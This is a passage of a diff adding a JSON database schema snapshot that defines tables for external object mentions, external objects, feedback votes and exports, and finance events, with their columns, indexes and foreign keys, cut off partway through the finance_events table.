+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_issue_id": {
+          "name": "source_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_kind": {
+          "name": "source_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_record_id": {
+          "name": "source_record_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "document_key": {
+          "name": "document_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "property_key": {
+          "name": "property_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "matched_text_redacted": {
+          "name": "matched_text_redacted",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "sanitized_display_url": {
+          "name": "sanitized_display_url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "canonical_identity_hash": {
+          "name": "canonical_identity_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "canonical_identity": {
+          "name": "canonical_identity",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "object_id": {
+          "name": "object_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_key": {
+          "name": "provider_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "detector_key": {
+          "name": "detector_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "object_type": {
+          "name": "object_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "confidence": {
+          "name": "confidence",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'exact'"
+        },
+        "created_by_plugin_id": {
+          "name": "created_by_plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "external_object_mentions_company_source_issue_idx": {
+          "name": "external_object_mentions_company_source_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "external_object_mentions_company_object_idx": {
+          "name": "external_object_mentions_company_object_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "object_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "external_object_mentions_company_provider_idx": {
+          "name": "external_object_mentions_company_provider_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "object_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "external_object_mentions_company_source_record_uq": {
+          "name": "external_object_mentions_company_source_record_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_record_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "document_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "property_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "canonical_identity_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"external_object_mentions\".\"source_record_id\" is not null and \"external_object_mentions\".\"canonical_identity_hash\" is not null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "external_object_mentions_company_source_null_record_uq": {
+          "name": "external_object_mentions_company_source_null_record_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "document_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "property_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "canonical_identity_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"external_object_mentions\".\"source_record_id\" is null and \"external_object_mentions\".\"canonical_identity_hash\" is not null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "external_object_mentions_company_id_companies_id_fk": {
+          "name": "external_object_mentions_company_id_companies_id_fk",
+          "tableFrom": "external_object_mentions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "external_object_mentions_source_issue_id_issues_id_fk": {
+          "name": "external_object_mentions_source_issue_id_issues_id_fk",
+          "tableFrom": "external_object_mentions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "source_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "external_object_mentions_object_id_external_objects_id_fk": {
+          "name": "external_object_mentions_object_id_external_objects_id_fk",
+          "tableFrom": "external_object_mentions",
+          "tableTo": "external_objects",
+          "columnsFrom": [
+            "object_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "external_object_mentions_created_by_plugin_id_plugins_id_fk": {
+          "name": "external_object_mentions_created_by_plugin_id_plugins_id_fk",
+          "tableFrom": "external_object_mentions",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "created_by_plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.external_objects": {
+      "name": "external_objects",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider_key": {
+          "name": "provider_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "object_type": {
+          "name": "object_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "external_id": {
+          "name": "external_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "sanitized_canonical_url": {
+          "name": "sanitized_canonical_url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "canonical_identity_hash": {
+          "name": "canonical_identity_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "display_key": {
+          "name": "display_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "icon_key": {
+          "name": "icon_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "display_title": {
+          "name": "display_title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status_key": {
+          "name": "status_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status_label": {
+          "name": "status_label",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status_icon_key": {
+          "name": "status_icon_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status_category": {
+          "name": "status_category",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unknown'"
+        },
+        "status_tone": {
+          "name": "status_tone",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'neutral'"
+        },
+        "liveness": {
+          "name": "liveness",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unknown'"
+        },
+        "is_terminal": {
+          "name": "is_terminal",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "data": {
+          "name": "data",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "remote_version": {
+          "name": "remote_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "etag": {
+          "name": "etag",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_resolved_at": {
+          "name": "last_resolved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_changed_at": {
+          "name": "last_changed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_error_at": {
+          "name": "last_error_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "next_refresh_at": {
+          "name": "next_refresh_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "refresh_started_at": {
+          "name": "refresh_started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "refresh_token": {
+          "name": "refresh_token",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_error_code": {
+          "name": "last_error_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_error_message": {
+          "name": "last_error_message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "external_objects_company_provider_object_idx": {
+          "name": "external_objects_company_provider_object_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "object_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "external_objects_company_provider_status_idx": {
+          "name": "external_objects_company_provider_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status_category",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "external_objects_company_refresh_idx": {
+          "name": "external_objects_company_refresh_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "next_refresh_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "external_objects_company_external_id_uq": {
+          "name": "external_objects_company_external_id_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "object_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "external_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "external_objects_company_identity_uq": {
+          "name": "external_objects_company_identity_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "object_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "canonical_identity_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "external_objects_company_id_companies_id_fk": {
+          "name": "external_objects_company_id_companies_id_fk",
+          "tableFrom": "external_objects",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "external_objects_plugin_id_plugins_id_fk": {
+          "name": "external_objects_plugin_id_plugins_id_fk",
+          "tableFrom": "external_objects",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.feedback_exports": {
+      "name": "feedback_exports",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "feedback_vote_id": {
+          "name": "feedback_vote_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_user_id": {
+          "name": "author_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_type": {
+          "name": "target_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_id": {
+          "name": "target_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "vote": {
+          "name": "vote",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'local_only'"
+        },
+        "destination": {
+          "name": "destination",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "export_id": {
+          "name": "export_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "consent_version": {
+          "name": "consent_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "schema_version": {
+          "name": "schema_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'paperclip-feedback-envelope-v2'"
+        },
+        "bundle_version": {
+          "name": "bundle_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'paperclip-feedback-bundle-v2'"
+        },
+        "payload_version": {
+          "name": "payload_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'paperclip-feedback-v1'"
+        },
+        "payload_digest": {
+          "name": "payload_digest",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "payload_snapshot": {
+          "name": "payload_snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "target_summary": {
+          "name": "target_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "redaction_summary": {
+          "name": "redaction_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "attempt_count": {
+          "name": "attempt_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "last_attempted_at": {
+          "name": "last_attempted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "exported_at": {
+          "name": "exported_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "failure_reason": {
+          "name": "failure_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "feedback_exports_feedback_vote_idx": {
+          "name": "feedback_exports_feedback_vote_idx",
+          "columns": [
+            {
+              "expression": "feedback_vote_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "feedback_exports_company_created_idx": {
+          "name": "feedback_exports_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "feedback_exports_company_status_idx": {
+          "name": "feedback_exports_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "feedback_exports_company_issue_idx": {
+          "name": "feedback_exports_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "feedback_exports_company_project_idx": {
+          "name": "feedback_exports_company_project_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "feedback_exports_company_author_idx": {
+          "name": "feedback_exports_company_author_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "author_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "feedback_exports_company_id_companies_id_fk": {
+          "name": "feedback_exports_company_id_companies_id_fk",
+          "tableFrom": "feedback_exports",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "feedback_exports_feedback_vote_id_feedback_votes_id_fk": {
+          "name": "feedback_exports_feedback_vote_id_feedback_votes_id_fk",
+          "tableFrom": "feedback_exports",
+          "tableTo": "feedback_votes",
+          "columnsFrom": [
+            "feedback_vote_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "feedback_exports_issue_id_issues_id_fk": {
+          "name": "feedback_exports_issue_id_issues_id_fk",
+          "tableFrom": "feedback_exports",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "feedback_exports_project_id_projects_id_fk": {
+          "name": "feedback_exports_project_id_projects_id_fk",
+          "tableFrom": "feedback_exports",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.feedback_votes": {
+      "name": "feedback_votes",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_type": {
+          "name": "target_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_id": {
+          "name": "target_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "author_user_id": {
+          "name": "author_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "vote": {
+          "name": "vote",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "reason": {
+          "name": "reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "shared_with_labs": {
+          "name": "shared_with_labs",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "shared_at": {
+          "name": "shared_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "consent_version": {
+          "name": "consent_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "redaction_summary": {
+          "name": "redaction_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "feedback_votes_company_issue_idx": {
+          "name": "feedback_votes_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "feedback_votes_issue_target_idx": {
+          "name": "feedback_votes_issue_target_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "feedback_votes_author_idx": {
+          "name": "feedback_votes_author_idx",
+          "columns": [
+            {
+              "expression": "author_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "feedback_votes_company_target_author_idx": {
+          "name": "feedback_votes_company_target_author_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "author_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "feedback_votes_company_id_companies_id_fk": {
+          "name": "feedback_votes_company_id_companies_id_fk",
+          "tableFrom": "feedback_votes",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "feedback_votes_issue_id_issues_id_fk": {
+          "name": "feedback_votes_issue_id_issues_id_fk",
+          "tableFrom": "feedback_votes",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.finance_events": {
+      "name": "finance_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "goal_id": {
+          "name": "goal_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "heartbeat_run_id": {
+          "name": "heartbeat_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cost_event_id": {
+          "name": "cost_event_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "billing_code": {
+          "name": "billing_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "event_kind": {
+          "name": "event_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "direction": {
+          "name": "direction",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'debit'"
+        },
+        "biller": {
+          "name": "biller",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_adapter_type": {
+          "name": "execution_adapter_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "pricing_tier": {
+          "name": "pricing_tier",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "region": {
+          "name": "region",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "model": {
+          "name": "model",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "quantity": {
+          "name": "quantity",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "unit": {
+          "name": "unit",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "amount_cents": {
+          "name": "amount_cents",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "currency": {
+          "name": "currency",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'USD'"
+        },
+        "estimated": {
+          "name": "estimated",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "external_invoice_id": {
+          "name": "external_invoice_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata_json": {
+          "name": "metadata_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "occurred_at": {
+          "name": "occurred_at",
+          "type": "timestamp with time zone",
